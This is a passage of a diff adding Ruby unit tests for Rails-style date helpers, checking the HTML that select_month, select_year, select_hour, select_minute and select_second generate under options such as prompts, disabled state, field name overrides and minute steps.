+ assert_dom_equal expected, select_month(Time.mktime(2003, 8, 16), {}, :class => 'selector', :accesskey => 'M')
+ #result = select_month(Time.mktime(2003, 8, 16), {}, :class => 'selector', :accesskey => 'M')
+ #assert result.include?('<select id="date_month" name="date[month]"')
+ #assert result.include?('class="selector"')
+ #assert result.include?('accesskey="M"')
+ #assert result.include?('<option value="1">January')
+ end
+
+ def test_select_month_with_default_prompt
+ expected = %(<select id="date_month" name="date[month]">\n)
+ expected << %(<option value="">Month</option>\n<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
+ expected << "</select>\n"
+
+ assert_dom_equal expected, select_month(8, :prompt => true)
+ end
+
+ def test_select_month_with_custom_prompt
+ expected = %(<select id="date_month" name="date[month]">\n)
+ expected << %(<option value="">Choose month</option>\n<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
+ expected << "</select>\n"
+
+ assert_dom_equal expected, select_month(8, :prompt => 'Choose month')
+ end
+
+ def test_select_year
+ expected = %(<select id="date_year" name="date[year]">\n)
+ expected << %(<option value="2003" selected="selected">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
+ expected << "</select>\n"
+
+ assert_dom_equal expected, select_year(Time.mktime(2003, 8, 16), :start_year => 2003, :end_year => 2005)
+ assert_dom_equal expected, select_year(2003, :start_year => 2003, :end_year => 2005)
+ end
+
+ def test_select_year_with_disabled
+ expected = %(<select id="date_year" name="date[year]" disabled="disabled">\n)
+ expected << %(<option value="2003" selected="selected">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
+ expected << "</select>\n"
+
+ assert_dom_equal expected, select_year(Time.mktime(2003, 8, 16), :disabled => true, :start_year => 2003, :end_year => 2005)
+ assert_dom_equal expected, select_year(2003, :disabled => true, :start_year => 2003, :end_year => 2005)
+ end
+
+ def test_select_year_with_field_name_override
+ expected = %(<select id="date_annee" name="date[annee]">\n)
+ expected << %(<option value="2003" selected="selected">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
+ expected << "</select>\n"
+
+ assert_dom_equal expected, select_year(Time.mktime(2003, 8, 16), :start_year => 2003, :end_year => 2005, :field_name => 'annee')
+ assert_dom_equal expected, select_year(2003, :start_year => 2003, :end_year => 2005, :field_name => 'annee')
+ end
+
+ def test_select_year_with_type_discarding
+ expected = %(<select id="date_year" name="date_year">\n)
+ expected << %(<option value="2003" selected="selected">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
+ expected << "</select>\n"
+
+ assert_dom_equal expected, select_year(
+ Time.mktime(2003, 8, 16), :prefix => "date_year", :discard_type => true, :start_year => 2003, :end_year => 2005)
+ assert_dom_equal expected, select_year(
+ 2003, :prefix => "date_year", :discard_type => true, :start_year => 2003, :end_year => 2005)
+ end
+
+ def test_select_year_descending
+ expected = %(<select id="date_year" name="date[year]">\n)
+ expected << %(<option value="2005" selected="selected">2005</option>\n<option value="2004">2004</option>\n<option value="2003">2003</option>\n)
+ expected << "</select>\n"
+
+ assert_dom_equal expected, select_year(Time.mktime(2005, 8, 16), :start_year => 2005, :end_year => 2003)
+ assert_dom_equal expected, select_year(2005, :start_year => 2005, :end_year => 2003)
+ end
+
+ def test_select_year_with_hidden
+ assert_dom_equal "<input type=\"hidden\" id=\"date_year\" name=\"date[year]\" value=\"2007\" />\n", select_year(2007, :use_hidden => true)
+ end
+
+ def test_select_year_with_hidden_and_field_name
+ assert_dom_equal "<input type=\"hidden\" id=\"date_anno\" name=\"date[anno]\" value=\"2007\" />\n", select_year(2007, :use_hidden => true, :field_name => 'anno')
+ end
+
+ def test_select_year_with_html_options
+ expected = %(<select id="date_year" name="date[year]" class="selector" accesskey="M">\n)
+ expected << %(<option value="2003" selected="selected">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
+ expected << "</select>\n"
+
+ assert_dom_equal expected, select_year(Time.mktime(2003, 8, 16), {:start_year => 2003, :end_year => 2005}, :class => 'selector', :accesskey => 'M')
+ #result = select_year(Time.mktime(2003, 8, 16), {:start_year => 2003, :end_year => 2005}, :class => 'selector', :accesskey => 'M')
+ #assert result.include?('<select id="date_year" name="date[year]"')
+ #assert result.include?('class="selector"')
+ #assert result.include?('accesskey="M"')
+ #assert result.include?('<option value="2003"')
+ end
+
+ def test_select_year_with_default_prompt
+ expected = %(<select id="date_year" name="date[year]">\n)
+ expected << %(<option value="">Year</option>\n<option value="2003">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
+ expected << "</select>\n"
+
+ assert_dom_equal expected, select_year(nil, :start_year => 2003, :end_year => 2005, :prompt => true)
+ end
+
+ def test_select_year_with_custom_prompt
+ expected = %(<select id="date_year" name="date[year]">\n)
+ expected << %(<option value="">Choose year</option>\n<option value="2003">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
+ expected << "</select>\n"
+
+ assert_dom_equal expected, select_year(nil, :start_year => 2003, :end_year => 2005, :prompt => 'Choose year')
+ end
+
+ def test_select_hour
+ expected = %(<select id="date_hour" name="date[hour]">\n)
+ expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08" selected="selected">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n)
+ expected << "</select>\n"
+
+ assert_dom_equal expected, select_hour(Time.mktime(2003, 8, 16, 8, 4, 18))
+ end
+
+ def test_select_hour_with_ampm
+ expected = %(<select id="date_hour" name="date[hour]">\n)
+ expected << %(<option value="00">12 AM</option>\n<option value="01">01 AM</option>\n<option value="02">02 AM</option>\n<option value="03">03 AM</option>\n<option value="04">04 AM</option>\n<option value="05">05 AM</option>\n<option value="06">06 AM</option>\n<option value="07">07 AM</option>\n<option value="08" selected="selected">08 AM</option>\n<option value="09">09 AM</option>\n<option value="10">10 AM</option>\n<option value="11">11 AM</option>\n<option value="12">12 PM</option>\n<option value="13">01 PM</option>\n<option value="14">02 PM</option>\n<option value="15">03 PM</option>\n<option value="16">04 PM</option>\n<option value="17">05 PM</option>\n<option value="18">06 PM</option>\n<option value="19">07 PM</option>\n<option value="20">08 PM</option>\n<option value="21">09 PM</option>\n<option value="22">10 PM</option>\n<option value="23">11 PM</option>\n)
+ expected << "</select>\n"
+
+ assert_dom_equal expected, select_hour(Time.mktime(2003, 8, 16, 8, 4, 18), :ampm => true)
+ end
+
+ def test_select_hour_with_disabled
+ expected = %(<select id="date_hour" name="date[hour]" disabled="disabled">\n)
+ expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08" selected="selected">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n)
+ expected << "</select>\n"
+
+ assert_dom_equal expected, select_hour(Time.mktime(2003, 8, 16, 8, 4, 18), :disabled => true)
+ end
+
+ def test_select_hour_with_field_name_override
+ expected = %(<select id="date_heure" name="date[heure]">\n)
+ expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08" selected="selected">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n)
+ expected << "</select>\n"
+
+ assert_dom_equal expected, select_hour(Time.mktime(2003, 8, 16, 8, 4, 18), :field_name => 'heure')
+ end
+
+ def test_select_hour_with_blank
+ expected = %(<select id="date_hour" name="date[hour]">\n)
+ expected << %(<option value=""></option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08" selected="selected">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n)
+ expected << "</select>\n"
+
+ assert_dom_equal expected, select_hour(Time.mktime(2003, 8, 16, 8, 4, 18), :include_blank => true)
+ end
+
+ def test_select_hour_nil_with_blank
+ expected = %(<select id="date_hour" name="date[hour]">\n)
+ expected << %(<option value=""></option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n)
+ expected << "</select>\n"
+
+ assert_dom_equal expected, select_hour(nil, :include_blank => true)
+ end
+
+ def test_select_hour_with_html_options
+ expected = %(<select id="date_hour" name="date[hour]" class="selector" accesskey="M">\n)
+ expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08" selected="selected">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n)
+ expected << "</select>\n"
+
+ assert_dom_equal expected, select_hour(Time.mktime(2003, 8, 16, 8, 4, 18), {}, :class => 'selector', :accesskey => 'M')
+ end
+
+ def test_select_hour_with_default_prompt
+ expected = %(<select id="date_hour" name="date[hour]">\n)
+ expected << %(<option value="">Hour</option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08" selected="selected">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n)
+ expected << "</select>\n"
+
+ assert_dom_equal expected, select_hour(Time.mktime(2003, 8, 16, 8, 4, 18), :prompt => true)
+ end
+
+ def test_select_hour_with_custom_prompt
+ expected = %(<select id="date_hour" name="date[hour]">\n)
+ expected << %(<option value="">Choose hour</option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08" selected="selected">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n)
+ expected << "</select>\n"
+
+ assert_dom_equal expected, select_hour(Time.mktime(2003, 8, 16, 8, 4, 18), :prompt => 'Choose hour')
+ end
+
+ def test_select_minute
+ expected = %(<select id="date_minute" name="date[minute]">\n)
+ expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04" selected="selected">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
+ expected << "</select>\n"
+
+ assert_dom_equal expected, select_minute(Time.mktime(2003, 8, 16, 8, 4, 18))
+ end
+
+ def test_select_minute_with_disabled
+ expected = %(<select id="date_minute" name="date[minute]" disabled="disabled">\n)
+ expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04" selected="selected">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
+ expected << "</select>\n"
+
+ assert_dom_equal expected, select_minute(Time.mktime(2003, 8, 16, 8, 4, 18), :disabled => true)
+ end
+
+ def test_select_minute_with_field_name_override
+ expected = %(<select id="date_minuto" name="date[minuto]">\n)
+ expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04" selected="selected">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
+ expected << "</select>\n"
+
+ assert_dom_equal expected, select_minute(Time.mktime(2003, 8, 16, 8, 4, 18), :field_name => 'minuto')
+ end
+
+ def test_select_minute_with_blank
+ expected = %(<select id="date_minute" name="date[minute]">\n)
+ expected << %(<option value=""></option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04" selected="selected">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
+ expected << "</select>\n"
+
+ assert_dom_equal expected, select_minute(Time.mktime(2003, 8, 16, 8, 4, 18), :include_blank => true)
+ end
+
+ def test_select_minute_with_blank_and_step
+ expected = %(<select id="date_minute" name="date[minute]">\n)
+ expected << %(<option value=""></option>\n<option value="00">00</option>\n<option value="15">15</option>\n<option value="30">30</option>\n<option value="45">45</option>\n)
+ expected << "</select>\n"
+
+ assert_dom_equal expected, select_minute(Time.mktime(2003, 8, 16, 8, 4, 18), { :include_blank => true , :minute_step => 15 })
+ end
+
+ def test_select_minute_nil_with_blank
+ expected = %(<select id="date_minute" name="date[minute]">\n)
+ expected << %(<option value=""></option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
+ expected << "</select>\n"
+
+ assert_dom_equal expected, select_minute(nil, :include_blank => true)
+ end
+
+ def test_select_minute_nil_with_blank_and_step
+ expected = %(<select id="date_minute" name="date[minute]">\n)
+ expected << %(<option value=""></option>\n<option value="00">00</option>\n<option value="15">15</option>\n<option value="30">30</option>\n<option value="45">45</option>\n)
+ expected << "</select>\n"
+
+ assert_dom_equal expected, select_minute(nil, { :include_blank => true , :minute_step => 15 })
+ end
+
+ def test_select_minute_with_hidden
+ assert_dom_equal "<input type=\"hidden\" id=\"date_minute\" name=\"date[minute]\" value=\"8\" />\n", select_minute(8, :use_hidden => true)
+ end
+
+ def test_select_minute_with_hidden_and_field_name
+ assert_dom_equal "<input type=\"hidden\" id=\"date_minuto\" name=\"date[minuto]\" value=\"8\" />\n", select_minute(8, :use_hidden => true, :field_name => 'minuto')
+ end
+
+ def test_select_minute_with_html_options
+ expected = %(<select id="date_minute" name="date[minute]" class="selector" accesskey="M">\n)
+ expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04" selected="selected">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
+ expected << "</select>\n"
+
+ assert_dom_equal expected, select_minute(Time.mktime(2003, 8, 16, 8, 4, 18), {}, :class => 'selector', :accesskey => 'M')
+
+ #result = select_minute(Time.mktime(2003, 8, 16, 8, 4, 18), {}, :class => 'selector', :accesskey => 'M')
+ #assert result.include?('<select id="date_minute" name="date[minute]"')
+ #assert result.include?('class="selector"')
+ #assert result.include?('accesskey="M"')
+ #assert result.include?('<option value="00">00')
+ end
+
+ def test_select_minute_with_default_prompt
+ expected = %(<select id="date_minute" name="date[minute]">\n)
+ expected << %(<option value="">Minute</option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04" selected="selected">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
+ expected << "</select>\n"
+
+ assert_dom_equal expected, select_minute(Time.mktime(2003, 8, 16, 8, 4, 18), :prompt => true)
+ end
+
+ def test_select_minute_with_custom_prompt
+ expected = %(<select id="date_minute" name="date[minute]">\n)
+ expected << %(<option value="">Choose minute</option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04" selected="selected">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
+ expected << "</select>\n"
+
+ assert_dom_equal expected, select_minute(Time.mktime(2003, 8, 16, 8, 4, 18), :prompt => 'Choose minute')
+ end
+
+ def test_select_second
+ expected = %(<select id="date_second" name="date[second]">\n)
+ expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18" selected="selected">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option 